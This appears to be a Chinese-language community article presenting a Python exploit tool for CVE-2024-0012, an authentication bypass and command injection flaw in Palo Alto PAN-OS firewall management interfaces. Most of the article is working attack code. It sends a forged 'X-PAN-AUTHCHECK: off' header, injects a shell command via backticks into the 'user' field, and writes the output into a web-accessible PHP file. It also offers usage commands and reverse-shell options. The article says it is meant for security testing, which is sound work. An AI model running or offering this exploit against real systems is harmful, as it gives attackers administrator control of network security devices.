
漏洞利用工具
CVE编号
Python版本
本项目是一个针对 Palo Alto Networks PAN-OS 软件 CVE-2024-0012 漏洞 的检测与利用工具。该漏洞允许未经身份验证的攻击者通过网络访问管理Web界面,从而获取PAN-OS管理员权限,执行任意系统命令,或利用其他高权限漏洞。此工具旨在帮助安全研究人员和渗透测试人员快速验证目标系统是否存在该漏洞,并进行受控的安全测试。
X-PAN-AUTHCHECK: off 头信息,绕过管理界面的身份验证。user 参数中注入恶意系统命令,实现在目标服务器上的任意命令执行。--command 参数自定义在目标系统上执行的命令。--reverse-shell 选项,可自动部署反向 Shell,方便攻击者进行交互式操作。--no-verify 参数,可忽略自签名证书导致的 SSL 错误,适应更多测试环境。requests 库。可以使用 pip 进行安装:pip install requestsuname -a 命令,并忽略 SSL 证书验证:python3 cve-2024-0012.py --url "https://target.url" --no-verify --command "uname -a"参数 | 类型 | 描述 |
|---|---|---|
| - | 显示帮助信息并退出。 |
|
| 目标基础 URL (例如: |
|
| 禁用 SSL 证书验证。 |
|
| 请求超时时间(秒)。 |
|
| 在目标系统上执行的命令。 |
|
| 部署反向 Shell 到目标。 |
|
| 反向 Shell 连接的本地主机 IP (使用 |
|
| 反向 Shell 连接的本地端口 (使用 |
代码通过伪造 X-PAN-AUTHCHECK: off 头绕过认证,并在 user 参数中构造命令注入 payload。注入的命令会被执行,并将结果写入 Web 目录下的一个 PHP 文件中,以便后续访问。
class VulnChecker:
def __init__(self, base_url, verify_ssl=False, timeout=30, command="uname -a"):
self.base_url = base_url
self.verify_ssl = verify_ssl
self.timeout = timeout
self.command = command
self.session = requests.Session()
if not verify_ssl:
urllib3.disable_warnings(InsecureRequestWarning)
self.session.verify = False
def create_initial_session(self):
"""Create initial session with command injection payload"""
headers = {
'X-PAN-AUTHCHECK': 'off', # 关键绕过头
'Content-Type': 'application/x-www-form-urlencoded'
}
# 命令注入 payload,将命令执行结果写入 watchTowr.php
data = {
'user': f'`{self.command} > /var/appweb/htdocs/unauth/watchTowr.php`',
'userRole': 'superuser',
'remoteHost': '',
'vsys': 'vsys1'
}
response = self.make_request('POST', '/php/utils/createRemoteAppwebSession.php/watchTowr.php', headers=headers, data=data)
return response代码封装了 make_request 方法,用于统一处理 HTTP 请求、超时、SSL 异常和其他网络异常,提高了工具的稳定性和健壮性。
def make_request(self, method, endpoint, **kwargs):
try:
url = urljoin(self.base_url, endpoint)
kwargs['timeout'] = self.timeout
kwargs['verify'] = self.verify_ssl
response = self.session.request(method, url, **kwargs)
response.raise_for_status()
return response
except requests.exceptions.SSLError as e:
logging.error(f"SSL Error: {str(e)}")
logging.info("Try using --no-verify if the target uses self-signed certificates")
return None
except requests.exceptions.RequestException as e:
logging.error(f"Request failed: {str(e)}")
return None使用 argparse 模块定义了清晰的命令行接口,支持多种参数组合,包括反向 Shell 的特殊要求。
# 命令行参数定义示例 (根据文档整合)
import argparse
def parse_arguments():
parser = argparse.ArgumentParser(description='CVE-2024-0012 PAN-OS 认证绕过与命令注入利用工具')
parser.add_argument('--url', required=True, help='目标基础 URL (http:// 或 https://)')
parser.add_argument('--no-verify', action='store_true', help='禁用 SSL 证书验证')
parser.add_argument('--timeout', type=int, default=30, help='请求超时时间 (秒)')
parser.add_argument('--command', default='uname -a', help='在目标上执行的命令')
parser.add_argument('--reverse-shell', action='store_true', help='部署反向 Shell')
parser.add_argument('--lhost', help='反向 Shell 本地主机 IP')
parser.add_argument('--lport', type=int, help='反向 Shell 本地端口')
args = parser.parse_args()
# 简单逻辑校验
if args.reverse_shell and (not args.lhost or not args.lport):
parser.error("--reverse-shell 需要同时指定 --lhost 和 --lport")
return args
```FINISHED6HFtX5dABrKlqXeO5PUv/884qxrZoDs6TAxZOCwynyU=
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。